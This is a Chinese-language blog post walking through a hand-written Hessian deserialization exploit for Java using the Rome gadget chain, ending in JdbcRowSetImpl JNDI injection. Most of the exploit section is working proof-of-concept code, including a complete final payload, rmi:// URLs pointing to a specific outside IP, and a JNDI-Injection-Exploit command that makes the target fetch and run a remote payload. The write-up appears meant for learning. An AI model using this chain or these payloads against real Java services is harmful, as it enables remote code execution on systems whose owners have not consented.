hessian的一条Gadgets – Rome 手写exp

hessian

参考miku的(●´3`●)やれやれだぜ (viewofthai.link)

和fmyyy的Hessian反序列化漏洞 - Twings (gitee.io)

简介

mikugiegie:

Hessian 是一个轻量级的 Java 反序列化框架,和 Java 原生的序列化类似,相比起来 Hessian 更加高效并且非常适合二进制数据传输。

简单理解就是hessian可以实现序列化功能,类似于fastjson。然后也有关于他的反序列化漏洞

环境搭建

hessianMaven Repository: com.caucho » hessian » 4.0.63 (mvnrepository.com)

<!-- https://mvnrepository.com/artifact/com.caucho/hessian -->
<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.63</version>
</dependency>

image-20220419110210958

maven搭建

了解一下hessian序列化和反序列化

student.java

import java.io.Serializable;

public class Student implements Serializable {
    private String name;
    public static String hobby = "eat";
    transient private String address;

    public void setName(String name) {
        this.name = name;
    }

    public static void setHobby(String hobby) {
        Student.hobby = hobby;
    }

    public void setAddress(String address) {
        this.address = address;
    }

    public String getName() {
        return name;
    }

    public static String getHobby() {
        return hobby;
    }

    public String getAddress() {
        return address;
    }
}

demo.java

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;

public class demo {
    public static void main(String[] args) throws  Exception{
        Student stu = new Student();
        stu.setAddress("A");
        stu.setName("thaiii");

        //序列化开始
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(os);
        output.writeObject(stu);
        output.close();
        //序列化结束

        Student.hobby = "drink";

        //反序列化开始
        ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
        Hessian2Input input = new Hessian2Input(bis);
        Student student = (Student) input.readObject();
        //反序列化结束

        System.out.println(student.getAddress());
        System.out.println(student.getName());
        System.out.println(stu.getHobby());
    }
}

image-20220419111550535

结论: 静态属性不能被序列化 transient 关键字修饰的属性不能被序列化

了解一下hessian

image-20220419213031319

我们看一下Map的MapDeserializer.readMap

image-20220419213123521

put方法让我们想起之前cc6链子开头中的 put

image-20220419213346775

于是问题转化找到一条hashcode为开头的链子。

由于marshalsec 工具中已经集成了 Hessian 的 5 个 Gadgets,可以使用这个工具直接进行漏洞利用。

下面讲讲几条链子

Gadgets - Rome

依赖

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>
<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-nop</artifactId>
    <version>1.7.24</version>
</dependency>

链子

HashMap.put -> hash

EqualsBean.hashCode -> beanHashCode

ToStringBean.toString -> getter.invoke

JdbcRowSetImpl.getDatabaseMetaData -> connect

JNDI 注入

对照一下rome(yso版本)

image-20220420092925773

JdbcRowSetImpl.connect

image-20220420093203744

由于调用了lookup函数,如果参数可控的话可以用来打rmi,jndi链子

进入getDataSourceName

image-20220420093419284

查看dataSource

image-20220420093552726

注释说支持jndi等

我们回去找一下哪里调用了conncet

JdbcRowSetImpl.getDatabaseMetaData

看到了prepare,但是太长了

image-20220420095407516

看到了getDatabaseMetaData

public DatabaseMetaData getDatabaseMetaData() throws SQLException {
    Connection var1 = this.connect();
    return var1.getMetaData();
}

刚好是getter方法

找一下BaseRowSet的构造函数

image-20220420100037282

尽管这个没什么用,但是我们看到了这个setDataSourceName

image-20220420100211082

就可以构造链子了

先写个测试demo

import com.sun.rowset.JdbcRowSetImpl;
import java.lang.reflect.Field;

public class demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static void main(String[] args) throws  Exception{

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://xxxxxx:xx/xxx");
        jdbcRowSet.getDatabaseMetaData();

    }
}

至于这个 rmi://xxxxxx:xx/xxx 可以使用工具https://github.com/welk1n/JNDI-Injection-Exploit/

开启1099,8180,1389,(尤其是前两个),在target目录下使用

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "8.129.42.140"

然后运行demo访问rmi

image-20220420110152503

ToStringBean.toString()

里面的有参方法有个invoke可以实现任意函数调用

之前说过

image-20220420113728401

也就是说可以类比一下,pReadMethod的name是getDatabaseMetaData,然后this._obj是JdbcRowSetImpl

poc1

import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.lang.reflect.Field;

public class demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static void main(String[] args) throws  Exception{

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://8.129.42.140:1099/rqqz1p");
//        jdbcRowSet.getDatabaseMetaData();

        ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
        toStringbean.toString();

    }
}

image-20220420114755504

equalsBean.hashCode

poc

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;

import javax.sql.rowset.JdbcRowSet;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;

public class demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static void main(String[] args) throws  Exception{

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://8.129.42.140:1099/rqqz1p");
//        jdbcRowSet.getDatabaseMetaData();

        ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
//        toStringbean.toString();
        EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean);
        equalsBean.hashCode();

    }
}

image-20220420115956844

poc

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;

import javax.sql.rowset.JdbcRowSet;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;

public class demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static void main(String[] args) throws  Exception{

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://8.129.42.140:1099/rqqz1p");
//        jdbcRowSet.getDatabaseMetaData();

        ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
//        toStringbean.toString();
        EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean);
//        equalsBean.hashCode();
        HashMap<Object,Object> map = new HashMap<>();
        map.put(equalsBean, "bbb");
        setValue(toStringbean, "_obj", jdbcRowSet);

//        serialize(map);
//        unserialize("ser.bin");
    }
}

image-20220420120343464

序列化入口

hessai和别人不一样,文章开头说了,炮制一下

原本

        //序列化开始
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(os);
        output.writeObject(stu);    //对象写在这
        output.close();
        //序列化结束

        Student.hobby = "drink";

        //反序列化开始
        ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
        Hessian2Input input = new Hessian2Input(bis);
        Student student = (Student) input.readObject();
        //反序列化结束

炮制

//序列化开始
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(os);
        output.writeObject(map);   //对象写在这
        output.close();
        //序列化结束

        //反序列化开始
        ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
        Hessian2Input input = new Hessian2Input(bis);
        input.readObject();
        //反序列化结束

最终poc

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;

import javax.sql.rowset.JdbcRowSet;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static void main(String[] args) throws  Exception{

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://8.129.42.140:1099/rqqz1p");
//        jdbcRowSet.getDatabaseMetaData();

        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, new JdbcRowSetImpl());
//        toStringBean.toString();

        EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean);
//        equalsBean.hashCode();

        HashMap<Object,Object> map = new HashMap<>();
        map.put(equalsBean, "bbb");
        setValue(toStringBean, "obj", jdbcRowSet);

//序列化开始
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(os);
        output.writeObject(map);   //对象写在这
        output.close();
        //序列化结束

        //反序列化开始
        ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
        Hessian2Input input = new Hessian2Input(bis);
        input.readObject();
        //反序列化结束
    }
}

注意jdk版本差异,有时候_obj要改为obj,否则加载的时候会报错

image-20220420123341505

调试

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇